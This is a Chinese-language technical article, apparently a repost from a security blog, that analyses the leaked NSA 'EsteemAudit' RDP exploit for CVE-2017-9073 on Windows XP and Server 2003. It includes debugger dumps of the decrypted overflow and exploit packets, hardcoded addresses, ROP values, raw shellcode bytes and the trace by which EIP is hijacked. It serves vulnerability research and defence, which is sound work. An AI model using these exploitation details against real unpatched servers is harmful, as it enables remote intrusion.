signature=d392c0d1876b3909bd8f7e1f3c0bef22,【技术分享】NSA武器库:CVE-2017-9073 EsteemAudit分析...-程序员宅基地

技术标签: signature=d392c0d1876b3909bd8f7e1f3c0bef22  

86213

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

背景

四月份,一个名为“影子经纪人”的组织发布了一部分他们从NSA窃取的漏洞利用工具,主要是针对windows操作系统。其中最著名就是被勒索软件WanaCryp0t利用的exploit"EternalBlue"。另一个被放出利用工具针对的CVE-2017-9073叫做"EsteemAudit",是一个Windows 2003和Windows XP上RDP(Remote Desktop Protocol,远程桌面协议)的利用工具。"EsteemAudit"利用的漏洞影响的操作系统微软均已不再支持(2014年结束对XP的支持,2015年结束对2003的支持),所以微软官方并没有发布这个漏洞的补丁。

EsteemAudit 总览

RDP远程利用工具名为"EsteemAudit"。使用inter-chunk heap overflow方法。Windows智能卡模块的gpkcsp.dll分配的名为key_set,大小为0x24a8的数据结构。在key_set中有一个名为key_data的数据结构大小0x80,这个内存空间用来存放智能卡相关信息。在相邻的内存空间中中存储着两个key_object指针。然而,在gpkcsp!MyCPAcquireContext中调用了内存拷贝函数memcpy,在没有进行边界检查的情况下拷贝了一块用户可完全控制的数据到key_data中,如果攻击者控制的这块内存大于0x80,则相邻内存的指针key_object将会被用户的恶意数据覆盖。EsteemAudit中的代码通过部署一块0xb2-7大小的内存,利用代码中的memcpy拷贝恶意数据到key_data中,随后key_object会被覆盖为0x080190dc这个地址。这个地址正好在gpkcsp.dll的数据段中,随后EsteemAudit会在这个地址部署恶意数据。exploit会将用户控制的数据放到全局变量中去,地址是0x080190d8,随后函数gpkcsp!ReleaseProvider会释放C++对象call [vatble+8],这时就控制了EIP。最终,通过使用SharedUserData技术使用syscall调用syscall id为0x8f的函数VirtualProtect修改shellcode内存的执行权限,然后调用shellcode第一阶段就完成了。

介绍

RDP远程代码执行漏洞很多,不过幸运的是在NT4/Win98后没有任何利用代码被公开发布。然而在2017年4月,影子经纪人公布出的从NSA窃取工具包含了Windows XP和Windows 2003操作系统上RDP远程代码执行漏洞的利用工具EsteemAudit。在本文中,我们将首先介绍RDP协议的内部机制,随后分析EsteemAudit.exe本身。接着,我们会分析RDP协议在用户态和内核态是如何工作的、inter-chunk heap overflow是如何发生的、如何利用inter-chunk heap overflow在有漏洞的操作系统上来执行shellcode。最终我们会介绍在没有patch的情况下如何防御这个漏洞。

架构和组件

终端服务架构主要分为四部分:

multi-user kernel

Remote Desktop client

Terminal Services Licensing service

Session Directory Services

86213

下表是终端服务的组件及说明

86213

Nicolas Collignon在论文中Tunneling TCP over RDP描述了各个组件之间的联系。

在内核态,相关的组件在rdpwd.sys中,负责MCS(Multipoint Communication Service)协议栈。RDP PDU(Protocol Data Unit,协议数据单元)在此模块被解密并解析。

在用户态,winlogon组件负责客户端的认证。例如,如果一个客户端请求智能卡认证,winlogon.exe会运行智能卡模块与客户端交互。

RDP 协议

为了深入分析,我们阅读了如下文档:

MS-RDPBCGR基于ITU(International Telecommunication Union,国际电信联盟)的T.120系列协议。T.120包含很多其他的标准,例如使用X.224标准用来阐述传输层协议如何交互。X.224标准阐述了我们看到的request PDU和Confirm PDU需要使用何种加密方法进行RDP数据包加密。

在下放的示例中,X.224请求中的encryptionMethods标志位被设置成了0x00000012,代表客户端请求使用128-bit的RC4进行加密[128BIT_ENCRYPTION_FLAG 0x00000002]

86213

86213

服务端在X.224 confirm PDU中设置encryptionMethod标志位0x00000002(128-bit RC4)确认使用128-bit RC4加密。

86213

RDP连接建立完成后,客户端和服务器段的PDU会使用协商的加密算法进行加密。下图是被加密的PDU实例

86213

86213

PDU中的数据如下

64 00 04 03 eb 70 81 56 -> PER encoded (ALIGNED variant of BASIC-PER) SendDataRequest

initiator = 1005 (0x03ed)

channelId = 1003 (0x03eb)

dataPriority = high

segmentation = begin | end

userData length = 0x156 = 342 bytes

48 00 -> TS_SECURITY_HEADER::flags = 0x0048 0x0048 (SEC_INFO_PKT | SEC_ENCRYPT

00 00 -> TS_SECURITY_HEADER::flagsHi – ignored as flags field does not contain SEC_FLAGSHI_VALID (0x8000)

6f 6d 0c d5 b7 0c 5d 7e -> TS_SECURITY_HEADER1::dataSignature

以86 b8 8a a9开始,从偏移为0x51后剩余的数据TS_INFO_PACKET被加密

len

0178d254  0000014a

J…

encrypted

038e3c8b  a98ab886 dabad90d d9d8f9e3 8dd5bafa  …………….

038e3c9b  1407ea51 883cb6af 21ca2bdb cab1e030  Q…..<..>

038e3cab  d6aaeccd 1c599171 1be8c40d 96d651dc  ….q.Y……Q..

038e3cbb  2d018a22 242aac0d 7b58948f 4be28b23  “..-..*$..X{#..K

038e3ccb  36cf54c6 52b70939 4064362b 9e37e989  [email protected].

038e3cdb  9ff09b06 4f862c80 1546198a ac9b03ed  …..,.O..F…..

038e3ceb  420acbdf 566591c1 7f471159 0e1d6906  …B..eVY.G..i..

038e3cfb  906474f4 476ea91e 4db2edd2 fb464bfd  .td…nG…M.KF.

plain

038e3c8b  00000000 00000133 001a0000 00000000  ….3………..

038e3c9b  00000000 00640061 0069006d 0069006e  ….a.d.m.i.n.i.

038e3cab  00740073 00610072 006f0074 00000072  s.t.r.a.t.o.r…

038e3cbb  00000000 00020000 0031001c 00320039  ……….1.9.2.

038e3ccb  0031002e 00380036 0032002e 00320034  ..1.6.8…2.4.2.

038e3cdb  0031002e 003c0000 003a0043 0057005c  ..1…<..w.>

038e3ceb  004e0049 0054004e 0053005c 00730079  I.N.N.T..S.y.s.

038e3cfb  00650074 0033006d 005c0032 0073006d  t.e.m.3.2..m.s.

我们可以通过文档[MS-RDPBCGR]查阅协议的细节来查看TS_INFO_PACKET。

86213

智能卡扩展

RDP协议支持客户端使用智能卡模式登录,根据文档[MS-RDPESC]交互的流程如下

86213

86213

EsteemAudit使用SCARD_IOCTL_TRANSMIT与服务器端的智能卡模块进行交互。

86213

文档描述了服务器端响应客户端的数据包的各种类型,其中包含了Transmit_Return类型

86213

服务器端

86213

RDP 利用工具 (EsteemAudit.exe)

了解RDP的基础知识后,我们看看EsteemAudit具体看了什么。EsteemAudit.exe类似于RDP客户端,完成了和服务器端的RDP协议交互。EsteemAudit使用了RDP协议中的智能卡扩展,向服务器端发送智能卡认证请求。随后RDP服务端会使用智能卡模块gpkcsp.dll处理收到的数据,漏洞在此出现。

EsteemAudit.exe 总览

通过逆向EsteemAudit二进制文件,在地址.text:00381009我们找到了名为GoRunExp的函数

GoRunExp

à InitializeInputParameters // 获取配置信息

à connect2Target

ààinitRDPLib

ààemulateSmartCard

ààconnect2RDP

ààregisterCallback(CallBackFunction)

à RecvProcessSendPackets

à RdpLib_SendKeyStrokes // 发送空格

à RecvProcessSendPackets

à buildExpBuffer

ààbuild_all_x86

àààbuild_overflow_x86

àààbuild_exploit_x86

àààbuild_egg0_x86

ààà// 设置认证码, 异或掩码, 打开载荷, etc

ààà build_egg1_payloadxxx

à RdpLib_SendKeyStrokes // 发送回车

à RecvProcessSendPackets

à RecvProcessSendPackets

àà//发送智能卡认证重定向请求,接收和处理响应,与服务器端进行交互,随后发送ExpBuffer(包含overflow buffer, exploit 和 egg0 buffer)在服务器端控制EIP,最后发送结束响应给服务器端完成第一阶段利用。

àà//to be mentioned, 注册的回调函数connect2Target会被用来处理响应和打印一些类似与 “SELECT_FILE – GPK Card MF”, “GET_RESPONSE – data unit size”, “GET_RESPONSE – serial number”的日志.

我们发现在准备阶段,完成了与目标机器的连接和构建漏洞利用数据包。RecvProcessSendPackets被多次调用用于接收和处理服务器端的响应、并根据响应来发送数据。RecvProcessSendPackets完成了与RDP服务器端利用智能卡交互的所有细节,我们会在接下来的章节中详细阐述。当然,我们会注重函数如何构造数据包而不会阐述函数的细节。

缓冲区溢出数据包分析

在构造用于溢出的数据包的时,仅有两个字段是有实际意义的:偏移为0x8d中的值、偏移为0x91值(0x9000),其他字段都是填充的随机数据。

86213

为了观察客户端发送的完整的数据,我们查看了发送的用于溢出的数据包。

86213

86213

如前面章节所述,在偏移为0x51,名为TS_INFO_PACKET被加密过了。我们观察到了客户端中用来加密TS_INFO_PACKET数据的函数为Libeay32!RC4 function。

我们可以通过简单的调试获取到了RC4解密的函数原型RC4 function — RC4(key, len, in, out)

86213

通过在解密函数前后下断点,可以得到加密前的数据和加密后的数据。

bu image00380000+0xab24 “.echo len;dc esp+10 L1;.echo rc4_in_buffer;dc poi(esp+8);gc”

bu image00380000+0xab39 “.echo rc4_out_buffer;dc poi(esp+0c);gc”

下面我们给出TS_INFO_PACKET的内容

len

0178cf98  000000fc                             ….

encrypted

038e8d6b  0649efba dcb9b66b f63f676c a2ddcc3b  ..I.k…lg?.;…

038e8d7b  56e1fb2e c9ed4e9c bf566979 4d9e3868  …V.N..yiV.h8.M

038e8d8b  5dffb177 af4531e2 cd87df84 18a3afff  w..].1E………

038e8d9b  56c96e10 7dd116d9 f1db47e2 b65bba04  .n.V…}.G….[.

038e8dab  5d8892ca 324864cb 70bc4793 82be0c5b  …].dH2.G.p[…

038e8dbb  d5737937 512ce129 21738638 ca18a61a  7ys.).,Q8.s!….

038e8dcb  58a5f061 fe8af8db f6c40f83 a975c925  a..X……..%.u.

038e8ddb  7da42561 8e0a740f b10381b2 ef4f3c00  a%.}.t…….

decrypted

038e8d6b  000000f4 00000003 49434472 00000000  ……..rDCI….

038e8d7b  00000001 00000000 000000e0 00081001  …………….

038e8d8b  cccccccc 000000c0 00000000 00000000  …………….

038e8d9b  00000000 000000b2 00000001 000000b2  …………….

038e8dab  fce3940b f2c3bad3 7134f185 b595ac48  ……….4qH…

038e8dbb  2d8186ec 56e66ee1 ca0e854f e618d890  …-.n.VO…….

038e8dcb  fcf78fcf 6972d722 8a3307d7 e1715046  ….”.ri..3.FPq.

038e8ddb  6d3184f2 7eb82735 0c1d6f4b e6a262fe  ..1m5′.~Ko…b..

Protocol details [references: [MS-RDPESC].pdf, [MS-RDPEFS].pdf, [MS-RPCE].pdf]

000000f4 ->CodePage

00000003 ->Flags

Device Control Response (DR_CONTROL_RSP)

->DeviceIoReply (16 bytes): DR_DEVICE_IOCOMPLETION

4472 ->RDPDR_CTYP_CORE 0x4472

4943 ->PAKID_CORE_DEVICE_IOCOMPLETION 0x4943

00000000 ->DeviceId (4 bytes)

00000001 ->CompletionId (4 bytes)

00000000 ->IoStatus (4 bytes)

000000e0 ->OutputBufferLength (4 bytes)

->OutputBuffer (variable)

00081001 cccccccc Type Serialization Version 1 header

000000c0 ->ObjectBufferLength (4 bytes)

00000000 ->Filler (4 bytes)

00000000 ->ReturnCode

00000000 ->dwProtocol

000000b2 ->cbRecvLength

->pbExtraBytes

00000001 000000b2

fce3940b f2c3bad3 7134f185 b595ac48

2d8186ec 56e66ee1 ca0e854f e618d890

fcf78fcf 6972d722 8a3307d7 e1715046

6d3184f2 7eb82735 0c1d6f4b e6a262fe

继续执行程序,随后我们从内存中dump出了触发缓冲区溢出的两个关键字段

WINDBG>dc 04fdd650+8d

04fdd6dd  080190dc 00009000 d7d93015 9dd1e4b1  .........0......

地址0x080190dc我们在前面的章节介绍过,不再阐述。

漏洞利用数据包分析

在构造数据包的过程中,我们发现了一些有趣的字段,如0x11111111, 0x22222222和0x7ffe0300

86213

86213

86213

我们使用解密缓冲区溢出数据包的方法解密漏洞利用数据包,得到

encrypted

038e9d83  0d76b81e 51331ed0 b3b4b29d ba4a1aaa  ..v…3Q……J.

038e9d93  ad0b26e1 c15daa1e 20079871 a18afe91  .&….].q.. ….

038e9da3  46d26828 a8883de7 8b54718e 33ebf243  (h.F.=…qT.C..3

038e9db3  9d3d556b f8a4f6f8 4a29500c 5d06bd19  kU=……P)J…]

038e9dc3  e6099604 4bc7dc66 92103b5e 6da27faa  ….f..K^;…..m

038e9dd3  07420e27 c95b5664 79d50284 f7bbd1d3  ‘.B.dV[….y….

038e9de3  79c389e1 f795e1cf bcb35b4d 69d0ef0c  …y….M[…..i

038e9df3  92beeadf 9010b061 763848d5 bc032358  ….a….H8vX#..

Decrypted

038e9d83  00000204 00000003 49434472 00000000  ……..rDCI….

038e9d93  00000001 00000000 000001f0 00081001  …………….

038e9da3  cccccccc 000001d0 00000000 00000000  …………….

038e9db3  00000000 000001c0 00000001 000001c0  …………….

038e9dc3  ada0d86e 08011e7a 0801118e 08005e85  n…z……..^..

038e9dd3  0800bedd 11111111 2a6bd248 972dc73e  ……..H.k*>.-.

038e9de3  00000000 6431e6f0 08011fef 08019078  ……1d….x…

038e9df3  abc45491 22222222 00000000 316f482f  .T..””””…./Ho1

漏洞利用数据包,也是一个Device Control Response(DR_CONTROL_RSP),应为设置了标志为DR_DEVICE_IOCOMPLETION (0x49434472)。这和之前描述的缓冲区溢出的数据包一致。

第一阶段最后两个数据包是Select_MF和End Response。这里我们只展示被解密后的数据。

len

0178cf98  0000004c                             L…

plain

038ead9b  00000044 00000003 49434472 00000000  D…….rDCI….

038eadab  00000001 00000000 00000030 00081001  ……..0…….

038eadbb  cccccccc 00000010 00000000 00000000  …………….

038eadcb  00000000 00000002 00000001 00000002  …………….

038eaddb  00000090 00000000 00000000

这里pExtraBytes长度为2,接下来的两个额外字节分别是90 00在服务器上会被智能卡模块处理。

len

0178cf98  0000003c

pExtraBytes长度为0,是一个结束的响应包。这个数据包完成了EsteemAudit与客户端的交互,接着我们看看服务器端如何处理这些数据。

RDP 服务器端

在看完EsteemAudit和RDP服务器端交互的数据包各个字段的具体含义后,接下来我们关注服务器端如何处理这些数据、漏洞是如何被触发的和如何完成漏洞利用。

内核态

下面列出的两个调用栈信息直接展示了DEVICE_IO的处理流程。termdd是一个核心分发器(dispatcher),RDPWD负责MSC协议栈,我们可以通过函数RDPWD!MCSIcaRawInput获取从客户端发送的原始数据。接下来的一些函数会将前面提到的RDP协议一层一层的解析。

kd> k

# ChildEBP RetAddr

00 baf3b32c f6e134ef rdpdr!DrExchangeManager::RecognizePacket+0x8

01 baf3b350 f6e12e34 rdpdr!DrSession::ReadCompletion+0x95

02 baf3b368 8081d741 rdpdr!DrSession::ReadCompletionRoutine+0x38

03 baf3b398 f76895d8 nt!IopfCompleteRequest+0xcd

04 baf3b3d4 f768a0d2 termdd!IcaChannelInputInternal+0x1f0

05 baf3b3fc ba1a26e1 termdd!IcaChannelInput+0x3c

06 baf3b430 ba19c3c1 RDPWD!WDW_OnDataReceived+0x181

07 baf3b458 ba19c1b9 RDPWD!SM_MCSSendDataCallback+0x159

08 baf3b4c0 ba19bfe0 RDPWD!HandleAllSendDataPDUs+0x155

09 baf3b4dc ba1b9ba4 RDPWD!RecognizeMCSFrame+0x32

0a baf3b504 ba19b06b RDPWD!MCSIcaRawInputWorker+0x346

0b baf3b52c f768d194 RDPWD!MCSIcaRawInput+0x65

0c baf3b550 baa92fcb termdd!IcaRawInput+0x58

0d baf3bd90 f768c265 TDTCP!TdInputThread+0x371

0e baf3bdac 809418f4 termdd!_IcaDriverThread+0x4d

0f baf3bddc 80887f4a nt!PspSystemThreadStartup+0x2e

10 00000000 00000000 nt!KiThreadStartup+0x16

kd> k

# ChildEBP RetAddr

00 f5a8b254 f6e14f22 rdpdr!RxLowIoCompletion+0x3a

01 f5a8b260 f6e15291 rdpdr!DrDevice::CompleteRxContext+0x2a

02 f5a8b284 f6e158b0 rdpdr!DrDevice::CompleteBusyExchange+0x4d

03 f5a8b2cc f6e164b2 rdpdr!DrDevice::OnDeviceControlCompletion+0x116

04 f5a8b2f0 f6e1269d rdpdr!DrDevice::OnDeviceIoCompletion+0x1ee

05 f5a8b310 f6e1285a rdpdr!DrExchangeManager::OnDeviceIoCompletion+0x55

06 f5a8b324 f6e1351f rdpdr!DrExchangeManager::HandlePacket+0x26

07 f5a8b350 f6e12e34 rdpdr!DrSession::ReadCompletion+0xc5

08 f5a8b368 8081d741 rdpdr!DrSession::ReadCompletionRoutine+0x38

09 f5a8b398 f76c95d8 nt!IopfCompleteRequest+0xcd

0a f5a8b3d4 f76ca0d2 termdd!IcaChannelInputInternal+0x1f0

0b f5a8b3fc f53856e1 termdd!IcaChannelInput+0x3c

0c f5a8b430 f537f3c1 RDPWD!WDW_OnDataReceived+0x181

0d f5a8b458 f537f1b9 RDPWD!SM_MCSSendDataCallback+0x159

0e f5a8b4c0 f537efe0 RDPWD!HandleAllSendDataPDUs+0x155

0f f5a8b4dc f539cba4 RDPWD!RecognizeMCSFrame+0x32

10 f5a8b504 f537e06b RDPWD!MCSIcaRawInputWorker+0x346

11 f5a8b52c f76cd194 RDPWD!MCSIcaRawInput+0x65

12 f5a8b550 f55b2fcb termdd!IcaRawInput+0x58

13 f5a8bd90 f76cc265 TDTCP!TdInputThread+0x371

14 f5a8bdac 809418f4 termdd!_IcaDriverThread+0x4d

15 f5a8bddc 80887f4a nt!PspSystemThreadStartup+0x2e

16 00000000 00000000 nt!KiThreadStartup+0x16

我们可以从IDA pro中的注释看到RDPWD!MCSIcaRawInputWorker调用RDPWD!RecognizeMCSFrame时srcBuf的内容。

86213

我们还可以看到RDPWD!RecognizeMCSFrame如何解析PER

86213

当MCS协议栈解析完成后,RDPWD会解析TS_DATA_INFO。TS_DATA_INFO中被加密的数据会被SM_MCSSendDataCallback调用SMDecryptPacket->DecryptData->rc4进行解密。

86213

我们在可以在RDPWD!rc4下断点来看服务端解密前和解密后的数据,类似之前的libeay32。

接着SM_MCSSendDataCallback函数会调用WDW_OnDataReceived来处理被解密的数据。

86213

随后,函数会调用termdd!IcaChannelInput来向不同的channel派发被解密的数据。这个例子中,EsteemAudit发送的缓冲区溢出数据包是DEVICE_IO类型的,且属于File System Virtual Channel Extension。将会被RDPDR模块解析。

我们在缓冲区溢出数据包中可以找到DR_DEVICE_IOCOMPLETION [MS-RDPEFS.pdf]头部

000000f4 ->CodePage

00000003 ->Flags

Device Control Response (DR_CONTROL_RSP)

->DeviceIoReply (16 bytes): DR_DEVICE_IOCOMPLETION

4472 ->RDPDR_CTYP_CORE 0x4472

4943 ->PAKID_CORE_DEVICE_IOCOMPLETION 0x4943

在RDPDR模块中,我们可以看到虚表虚表中的函数被用来识别和处理数据包

86213

如果服务器端收到了被标记为RDPDR_HEADER的数据包,对应的类会调用RecognizePacket函数

86213

EsteemAudit发送的缓冲区溢出数据包和漏洞利用数据包设置了0x49434472的标志位。0x4472被设备重定向核心组件(Device redirector core component)使用,0x4943用来做Device I/O响应。

86213

在识别数据包类型后,rdpdr!DrSession::ReadCompletion会调用HandlePacket来解析数据包。我们可以看到OnDeviceControlCompletion函数处理数据包头部。

86213

在处理完数据包后,我们可以看到rdpdr!DrDevice::CompleteRxContext通过IO通知已经处理完成相关的数据包。其他模块被通知继续处理剩下的数据包,在这里是pbExtraBytes。

86213

用户态

在用户态中,winlogon.exe调用了智能卡模块,类似gpkcsp,scredir和winscard来和客户端进行交互。

首先,我们看看函数调用栈。这个调用栈是从内核态向用户态拷贝用户发送的数据pbExtraBytes时的。我们可以看到客户端发送到服务器端的数据从内核态进入用户态的流程。

0:003> k

ChildEBP RetAddr

00fce058 5cd45619 scredir!_CopyReturnToCallerBuffer

00fce104 723642b0 scredir!SCardTransmit+0x194

00fce180 08005c32 WinSCard!SCardTransmit+0x76

00fce1b0 0800921d gpkcsp!DoSCardTransmit+0x3d

00fce41c 0800e2dd gpkcsp!WriteTimestamps+0x679

00fcf39c 08004acb gpkcsp!MyCPAcquireContext+0x817

00fcf708 77f50909 gpkcsp!CPAcquireContext+0x26e

00fcf7cc 77f50a5f ADVAPI32!CryptAcquireContextA+0x55f

00fcf834 0103fd78 ADVAPI32!CryptAcquireContextW+0xa4

00fcf864 0104086c winlogon!CSCLogonInit::CryptCtx+0x75

00fcf874 010408c1 winlogon!CSCLogonInit::RelinquishCryptCtx+0x10

00fcf898 0103a8f5 winlogon!ScHelperGetCertFromLogonInfo+0x22

00fcf8bc 77c50193 winlogon!s_RPC_ScHelperGetCertFromLogonInfo+0x3f

00fcf8e0 77cb33e1 RPCRT4!Invoke+0x30

00fcfce0 77cb35c4 RPCRT4!NdrStubCall2+0x299

00fcfcfc 77c4ff7a RPCRT4!NdrServerCall2+0x19

00fcfd30 77c7e732 RPCRT4!DispatchToStubInCNoAvrf+0x38

00fcfd48 77c5042d RPCRT4!DispatchToStubInCAvrf+0x14

00fcfd9c 77c50353 RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x11f

00fcfdc0 77c511dc RPCRT4!RPC_INTERFACE::DispatchToStub+0xa3

00fcfdfc 77c512f0 RPCRT4!LRPC_SCALL::DealWithRequestMessage+0x42c

00fcfe20 77c58678 RPCRT4!LRPC_ADDRESS::DealWithLRPCRequest+0x127

00fcff84 77c58792 RPCRT4!LRPC_ADDRESS::ReceiveLotsaCalls+0x430

00fcff8c 77c5872d RPCRT4!RecvLotsaCallsWrapper+0xd

00fcffac 77c4b110 RPCRT4!BaseCachedThreadRoutine+0x9d

00fcffb8 7c824829 RPCRT4!ThreadStartRoutine+0x1b

WARNING: Stack unwind information not available. Following frames may be wrong.

00fcffec 00000000 kernel32!GetModuleHandleA+0xdf

gpkcsp!MyCPAcquireContext这个函数是负责发送,接受和处理智能卡数据包的,且与EsteemAudit中的函数RecvProcessSendPackets是相关的。

在介绍这个函数前,我们先看看scredir!SCardTransmit。这个函数被函数gpkcsp!DoSCardTransmit调用,是发送和接受智能卡数据的基础函数。

86213

函数_SendSCardIOCTL的第一个参数为0x900d0代表SCARD_IOCTL_TRANSMIT。发送数据的和接受数据的数据结构_Transmit_Call和_Transmit_Return之前已经介绍过了。随后Transmit_Return_Decode会解码并处理从内核中得到的数据。scredir!_CopyReturnToCallerBuffe这个函数拷贝的数据来自于客户端发送的数据,且为保存在地址0x080190d8中的全局变量。这意味这缓冲区溢出数据包和漏洞利用数据包的数据将会被拷贝到地址0x080190d8中。这就是为什么在缓冲区溢出数据包和漏洞利用数据包中有这个地址被硬编码地址的原因。

86213

接下来我们介绍gpkcsp!MyCPAcquireContext函数和整个的利用过程。函数SCardEstablishContext和ConnectToCard的细节不在此阐述,不过我们会介绍程序处理缓冲区溢出包的流程。

这是一个名为ProvCont的全局变量,被存储在大小是0x24a8的堆中

0:003> dc gpkcsp!ProvCont (08176dd8)

08176dd8  02cdcb58                             X…

0:003> !heap -p -a 0x2cdcb58

address 02cdcb58 found in

_DPH_HEAP_ROOT @ 3a1000

in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize –         VirtAddr         VirtSize)

3a3c80:          2cdcb58             24a8 –          2cdc000             4000

7c96d97a ntdll!RtlAllocateHeap+0x00000e9f

77b8d08c msvcrt!malloc+0x0000006c

08012599 gpkcsp!GMEM_Alloc+0x0000000e

0800a937 gpkcsp!DllMain+0x00000090

080120fc gpkcsp!_DllMainCRTStartup+0x00000052

7c94a352 ntdll!LdrpCallInitRoutine+0x00000014

7c963465 ntdll!LdrpRunInitializeRoutines+0x00000367

7c964311 ntdll!LdrpLoadDll+0x000003cd

7c964065 ntdll!LdrLoadDll+0x00000198

7c801bf3 kernel32!LoadLibraryExW+0x000001b2

7c801dbd kernel32!LoadLibraryExA+0x0000001f

7c801df3 kernel32!LoadLibraryA+0x000000b5

77f42fef ADVAPI32!CryptAcquireContextA+0x0000045c

77f50a5f ADVAPI32!CryptAcquireContextW+0x000000a4

0103fd78 winlogon!CSCLogonInit::CryptCtx+0x00000075

0104086c winlogon!CSCLogonInit::RelinquishCryptCtx+0x00000010

010408c1 winlogon!ScHelperGetCertFromLogonInfo+0x00000022

0103a8f5 winlogon!s_RPC_ScHelperGetCertFromLogonInfo+0x0000003f

77c50193 RPCRT4!Invoke+0x00000030

77cb33e1 RPCRT4!NdrStubCall2+0x00000299

77cb35c4 RPCRT4!NdrServerCall2+0x00000019

77c4ff7a RPCRT4!DispatchToStubInCNoAvrf+0x00000038

77c7e732 RPCRT4!DispatchToStubInCAvrf+0x00000014

77c5042d RPCRT4!RPC_INTERFACE::DispatchToStubWorker+0x0000011f

77c50353 RPCRT4!RPC_INTERFACE::DispatchToStub+0x000000a3

77c511dc RPCRT4!LRPC_SCALL::DealWithRequestMessage+0x0000042c

77c512f0 RPCRT4!LRPC_ADDRESS::DealWithLRPCRequest+0x00000127

77c58678 RPCRT4!LRPC_ADDRESS::ReceiveLotsaCalls+0x00000430

77c58792 RPCRT4!RecvLotsaCallsWrapper+0x0000000d

77c5872d RPCRT4!BaseCachedThreadRoutine+0x0000009d

77c4b110 RPCRT4!ThreadStartRoutine+0x0000001b

7c824829 kernel32!BaseThreadStart+0x00000034

86213

调用DoSCardTransmit处理缓冲区溢出数据包并将数据包保存在0x080190d8后,MyCPAcquireContext初始化KeyData(0x80)并且从0x080190d8拷贝客户端发送的数据(大小为0x2b-7)到这块内存中

86213

86213

通过调试可以看到key_object的溢出情况

0:003> dc 02cdcb58+a0+b8-20

02cdcc90  b7314210 544f2b0f 34059cf0 ead224e5  .B1..+OT…4.$..

02cdcca0  22ef2496 b2dcb268 9c36556f 159e7181  .$.”h…oU6..q..

02cdccb0  080190dc 00009000 70e2a252 b67b7cc7  ……..R..p.|{.

02cdccc0  62937b2c afe0bbbd 93606931 dcdba152  ,{.b….1i`.R…

02cdccd0  00cd84d1 00000000 00000000 00000000  …………….

02cdcce0  00000000 00000000 00000000 00000000  …………….

02cdccf0  00000000 00000000 00000000 00000000  …………….

02cdcd00  00000000 00000000 00000000 00000000  …………….

在溢出keyobject后,我们可以观察gpkcsp!MyCPAcquireContext如何处理接下来的数据包和EIP是如何被控制的。

86213

我们注意到一个没有符号信息的函数sub_8009094调用DoSCardTransmit并拷贝expbuffer到0x080x90d8中,在Windows2003中这个地址没有ASLR保护并且存放用户发送的数据包中的原始数据。

0:003> dc 080190d8 L1c0/4

080190d8  d26ccf61 08011e7a 0801118e 08005e85  a.l.z……..^..

080190e8  0800bedd 11111111 9d273fbe e636c0ea  ………?’…6.

080190f8  00000000 b02838fd 08011fef 08019078  …..8(…..x…

08019108  3005123c 22222222 00000000 f7a1d915  <..0>

08019118  00004000 080128cc 0000008f 7ffe0300  .@…(……….

08019128  08015074 08019148 08019118 ffffffff  tP..H………..

08019138  08019130 08019118 00000040 08019130  0…….@…0…

08019148  8b6404b0 06002d00 c4890000 00e8c689  ..d..-……….

08019158  90000000 d5858b5d 89000000 858b0446  ….]…….F…

08019168  000000d9 310c4689 104689c0 8b144689  …..F.1..F..F..

08019178  0000dd85 8b008b00 0000bc80 18468900  …………..F.

08019188  00e1858b 008b0000 8b1c4689 0000e585  ………F……

08019198  89008b00 468b2046 2846890c 4689c031  ….F .F..F(1..F

080191a8  00b5e82c c0850000 468b6675 0846892c  ,…….uf.F,.F.

080191b8  2b0c468b 89501046 468b50e0 10460308  .F.+F.P..P.F..F.

080191c8  50c03150 ff1476ff 76ff0476 1876ff20  P1.P.v..v..v .v.

080191d8  591c56ff 8b144689 c8011046 8b104689  .V.Y.F..F….F..

080191e8  46890846 10468b24 00d9853b c07c0000  F..F$.F.;…..|.

080191f8  4689c031 244e8b10 0189c889 0471ff51  1..F..N$….Q.q.

08019208  c083c889 d0ff5014 03ebc031 5048c031  …..P..1…1.HP

08019218  852c468b 8b0e74c0 58e81058 85000000  .F,..t..X..X….

08019228  ff0274db c3e431d3 080192d8 00006346  .t…1……Fc..

08019238  08176dd8 0800119c 080011cc 000012b8  .m…………..

08019248  24548d00 c22ecd04 18c20018 0057b800  ..T$……….W.

08019258  548d0000 2ecd0424 6a0010c2 30006840  …T$……[email protected]

08019268  468d0000 c0315028 2c468d50 48c03150  …F(P1.P.F,P1.H

08019278  ffc6e850 68c3ffff 00008000 5028468d  P……h…..F(P

08019288  502c468d 5048c031 ffffc0e8 6578c3ff  .F,P1.HP……xe

当漏洞利用数据包中的数据部署完成后,gpkcsp!MyCPAcquireContext处理ReleaseProvider路径。

此时在函数CryptDestroyKey中会利用C++类的虚表完成虚函数调用KeyObject->release

86213

接下来的调试信息展示了如何控制EIP和执行shellcode。这个exploit利用了SharedUserData技术去调用KiFastSystemCall来执行函数VirtualProtect,将内存0x80190d8的属性设置成可写和执行,然后在地址0x8019148执行shellcode。这时exploit就完成了第一阶段的工作。

0:011> g 08007c2b

eax=080190dc ebx=77f3f5b0 ecx=02cdaff8 edx=00000000 esi=000000b8 edi=00000000

eip=08007c2b esp=02dfe40c ebp=02dfe420 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!ReleaseProvider+0xef:

08007c2b ffd3            call    ebx {ADVAPI32!CryptDestroyKey (77f3f5b0)}

0:011>

eax=00000001 ebx=00000001 ecx=77f50c75 edx=00000000 esi=080190dc edi=08019078

eip=77f3f615 esp=02dfe3c0 ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

ADVAPI32!CryptDestroyKey+0x6e:

77f3f615 ff5608          call    dword ptr [esi+8]    ds:0023:080190e4=08005e85

0:011> t

eax=00000001 ebx=00000001 ecx=77f50c75 edx=00000000 esi=080190dc edi=08019078

eip=08005e85 esp=02dfe3bc ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!GetAppWindow+0x1c:

08005e85 8bc6            mov     eax,esi

0:011>

eax=080190dc ebx=00000001 ecx=77f50c75 edx=00000000 esi=080190dc edi=08019078

eip=08005e87 esp=02dfe3bc ebp=02dfe404 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

gpkcsp!GetAppWindow+0x1e:

08005e87 5e              pop     esi

0:011>

